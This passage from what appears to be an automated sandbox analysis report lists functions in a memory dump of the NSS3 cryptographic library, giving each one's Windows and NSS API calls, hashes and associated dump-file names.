PR_Unlock.NSS3(?), ref: 6CAB1F44

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 92621310fb235cc519b3ce8e85255f019f0c7c9dc5fa071a9769726eed0a1104
Instruction ID: 51bec783689771d3eccc9cd1fb70ea90e126124fd2b33c083d67351a21cbd809
Opcode Fuzzy Hash: 92621310fb235cc519b3ce8e85255f019f0c7c9dc5fa071a9769726eed0a1104
Instruction Fuzzy Hash: E071A1759043019FD700CF24D840A6BB7F9FF88358F18492AE999A3B11E731F999CB92

Function 6CB3DD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB3DD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CB3DE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CB3DE77

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 13c6c6fdfbfc50a81304bfccabda22272f9788ba957e71c4b634abb2cdde7068
Instruction ID: f1fdf940671180fb543eed730aa4d87064dc6a4e5a6dbb882d9be87971e72123
Opcode Fuzzy Hash: 13c6c6fdfbfc50a81304bfccabda22272f9788ba957e71c4b634abb2cdde7068
Instruction Fuzzy Hash: A8716471A10328CBCF10CFAAD9C068ABBB4FF49718F25916DD8596B742D770A905CF81

Function 6CAADFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(D958E852,6CAB1397,5B5F5EC0,?,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB3C
Part of subcall function 6CAAAB10: free.MOZGLUE(D958E836,?,6CAAB1EE,2404110F,?,?), ref: 6CAAAB49
Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(5D5E6CCA), ref: 6CAAAB5C
Part of subcall function 6CAAAB10: free.MOZGLUE(5D5E6CBE), ref: 6CAAAB63
Part of subcall function 6CAAAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CAAAB6F
Part of subcall function 6CAAAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CAAAB76

TlsGetValue.KERNEL32(?,?,6CAAB266,6CAB15C6,?,?,6CAB15C6), ref: 6CAADFDA
EnterCriticalSection.KERNEL32(?,?,?,6CAAB266,6CAB15C6,?,?,6CAB15C6), ref: 6CAADFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CAAB266,6CAB15C6,?,?,6CAB15C6), ref: 6CAAE029
PK11_IsLoggedIn.NSS3 ref: 6CAAE046

Part of subcall function 6CAB8F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FAF
Part of subcall function 6CAB8F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FD1
Part of subcall function 6CAB8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB8FFA
Part of subcall function 6CAB8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9013
Part of subcall function 6CAB8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9042
Part of subcall function 6CAB8F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CAB905A
Part of subcall function 6CAB8F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CAB9073
Part of subcall function 6CAB8F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CAADA9B,?,00000000,?,?,?,?,CE534353), ref: 6CAB9111

PR_Unlock.NSS3(?,?,?,?,6CAAB266,6CAB15C6,?,?,6CAB15C6), ref: 6CAAE149

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: b22e4512739e65fdfffe83e1774c6529888f779802c97f444cadedf42295070e
Instruction ID: 465728d4570b296aed612bc6f69a7a9a32c4680a9fff1c0c9a4506f9fb4948b4
Opcode Fuzzy Hash: b22e4512739e65fdfffe83e1774c6529888f779802c97f444cadedf42295070e
Instruction Fuzzy Hash: 00514774600611CFDB10DFA9C58476ABBF1BF44308F19896CD8998B741E731E89ACB92

Function 6CABBE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CABBF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CABBF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CA99F71,?,?,00000000), ref: 6CABBF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CABBFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CABC014

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 327557876842bd6d1545d151fe9d73f5ad66bb34f4032750d92da4dd92969778
Instruction ID: fc8be81e05a71da59852b474ba3f123041e1ea1d8c1d0cd70cc9cee487ebfdbf
Opcode Fuzzy Hash: 327557876842bd6d1545d151fe9d73f5ad66bb34f4032750d92da4dd92969778
Instruction Fuzzy Hash: 0141B675A012059BEB00CE76ED80BAA77BDAF44208F154228E919E7B41FB31D989CBD1

Function 6CA8EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CA8EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CA8EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CA8EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CA8EEEB
free.MOZGLUE(?), ref: 6CA8EEF6

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: ed38839f53aedc0045a3e9d8259034026721605a9c5c267bd7c026aca7880908
Instruction ID: e7ca632e64b5089453ff9499ea1ed0843f11949181bb4bc80aa26fe9ba1b787d
Opcode Fuzzy Hash: ed38839f53aedc0045a3e9d8259034026721605a9c5c267bd7c026aca7880908
Instruction Fuzzy Hash: 2C31F575A01250EBEB209F2CDC44B667BB4FB46744F180529E86A87B50D731E894CBE1

Function 6CAA1F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAA1F1C

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CBB9EBC), ref: 6CAA1FB8
SEC_ASN1EncodeItem_Util.NSS3(6CBB9E9C,?,?,6CBB9E9C), ref: 6CAA200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CAA2020

Part of subcall function 6CA96A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CA9AD50,?,?), ref: 6CA96A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAA2030

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: bc3b8358adc95cf3e492405b442ecea7804c52d18846974c3ab8124fd2580cfc
Instruction ID: 5c8580c058fddfb57f8b5d82dcbf66e466b944749fe08ffe3a6cc9b0b307a15f
Opcode Fuzzy Hash: bc3b8358adc95cf3e492405b442ecea7804c52d18846974c3ab8124fd2580cfc
Instruction Fuzzy Hash: 18210575901641BBE7004E56DD40BAA7768FF4532CF180215F92897F80E731E9A9C7A1

Function 6CAD1EA0 Relevance: 7.6, APIs: 5, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,?,6CAB6295,?,00000000,00000000,00000001,6CAD2653,?), ref: 6CAD1ECB

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

TlsGetValue.KERNEL32(?,00000001,?,?,6CAB6295,?,00000000,00000000,00000001,6CAD2653,?), ref: 6CAD1EF1
EnterCriticalSection.KERNEL32(?), ref: 6CAD1F01
PR_SetError.NSS3(00000000,00000000), ref: 6CAD1F39

Part of subcall function 6CADFE20: TlsGetValue.KERNEL32(6CAB5ADC,?,00000000,00000001,?,?,00000000,?,6CAABA55,?,?), ref: 6CADFE4B
Part of subcall function 6CADFE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CADFE5F

PR_Unlock.NSS3(?), ref: 6CAD1F67

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Value$CriticalEnterErrorSection$Unlock
String ID:
API String ID: 704537481-0
Opcode ID: 3869ffef8d27c40edf5e0d87773eb4126c3dd2027e2c8cf3d6e6d5d5b154afed
Instruction ID: 4e9b68d41658f4cbac4f1fa9d89df18655476e83c0f15ec50deecd9f980a21db
Opcode Fuzzy Hash: 3869ffef8d27c40edf5e0d87773eb4126c3dd2027e2c8cf3d6e6d5d5b154afed
Instruction Fuzzy Hash: 8A210675A002159BEB009E69EC44BAA3779EF49378F1A4525FE1887701EB30F994C7E1

Function 6CA91DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA91E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CA91E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA91E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CA91E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CA91EAD

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 4aa15394ca1b4c316b978b899992fae7bbc02727d3fb7d4628dbe8a03fd36b1e
Instruction ID: bf63ba3cac6d843e5e305630fb8fa37c1c1b29a167dac36013be9aceb1ee8bb3
Opcode Fuzzy Hash: 4aa15394ca1b4c316b978b899992fae7bbc02727d3fb7d4628dbe8a03fd36b1e
Instruction Fuzzy Hash: E3212B76E143249BD7008E68DC42B7F73E89B84368F184638EE5D57780E730D94987D2

Function 6CBA1E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CBA1E5C

Part of subcall function 6CB59BF0: TlsGetValue.KERNEL32(?,?,?,6CBA0A75), ref: 6CB59C07

PR_Lock.NSS3(00000000), ref: 6CBA1E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBA1EAB
PR_GetCurrentThread.NSS3 ref: 6CBA1ED0
PR_Unlock.NSS3(?), ref: 6CBA1EE8

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: c7bf737eaa9a27436324a42fb160a64acf39583294ce9f897a3640f2996982a9
Instruction ID: 90d235d4a308ee0eb27e096daf5a8087e60ab4c07eeea4b2e61ce2e51acfc96e
Opcode Fuzzy Hash: c7bf737eaa9a27436324a42fb160a64acf39583294ce9f897a3640f2996982a9
Instruction Fuzzy Hash: 0721C174A195A2EBD780CF99D840A06B7B1FF44718B298225D8599BF40D730FC22CBD2

Function 6CAEBE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CA9E708,00000000,00000000,00000004,00000000), ref: 6CAEBE6A

Part of subcall function 6CAF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CAF08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?), ref: 6CAEBE7E

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CAA04DC,?,?), ref: 6CAEBED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CAEBEEB

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 81504384a110734a6d99dca290bf8665e2f843562c98ea0e8f626e4016fb8207
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 4B115B76A04315A7E71099A5BD98F17737DDB88758F080325FE0483B51E731DC88A7E9

Function 6CA9AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CA93FFF,00000000,?,?,?,?,?,6CA91A1C,00000000,00000000), ref: 6CA9ADA7

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CA93FFF,00000000,?,?,?,?,?,6CA91A1C,00000000,00000000), ref: 6CA9ADB4

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CA93FFF,?,?,?,?,6CA93FFF,00000000,?,?,?,?,?,6CA91A1C,00000000), ref: 6CA9ADD5

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBB94B0,?,?,?,?,?,?,?,?,6CA93FFF,00000000,?), ref: 6CA9ADEC

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CA93FFF), ref: 6CA9AE3C

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 0a5ef628d982680f90e9d1b92b97c65e72ca4af04d2bdb5148e06ce94d06173f
Instruction ID: dcb4448c97959110e2314e2c67c1ecc9666001a4e46a6ba2370b76fd08863b42
Opcode Fuzzy Hash: 0a5ef628d982680f90e9d1b92b97c65e72ca4af04d2bdb5148e06ce94d06173f
Instruction Fuzzy Hash: DF117B71E103285BE7109B649C42BBF73F8DF9524CF044229FC5996741FB20EA9D82E2

Function 6CAB8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C), ref: 6CAB8EA2

Part of subcall function 6CADF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CADF854
Part of subcall function 6CADF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CADF868
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CADF882
Part of subcall function 6CADF820: free.MOZGLUE(04C483FF,?,?), ref: 6CADF889
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CADF8A4
Part of subcall function 6CADF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CADF8AB
Part of subcall function 6CADF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CADF8C9
Part of subcall function 6CADF820: free.MOZGLUE(280F10EC,?,?), ref: 6CADF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C), ref: 6CAB8EC3
TlsGetValue.KERNEL32(?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CAA4F1C), ref: 6CAB8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CAD2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CAB8EF1
PR_Unlock.NSS3 ref: 6CAB8F20

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: fd807851a84a0b3e4c32a108e7f96b9be111075024a094e9c50233ab096d7168
Instruction ID: a8c0f18761a284da51b50161ab0346d03bb10536ad6d7f152a977a3a1bdb6904
Opcode Fuzzy Hash: fd807851a84a0b3e4c32a108e7f96b9be111075024a094e9c50233ab096d7168
Instruction Fuzzy Hash: 37214B709096069FD700AF39D584699BBF8FF48318F49456EE898ABB41D730E894CBD2

Function 6CAA8FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CAB0710), ref: 6CAA8FF1
PR_CallOnce.NSS3(6CBF2158,6CAA9150,00000000,?,?,?,6CAA9138,?,6CAB0710), ref: 6CAA9029
calloc.MOZGLUE(00000001,00000000,?,?,6CAB0710), ref: 6CAA904D
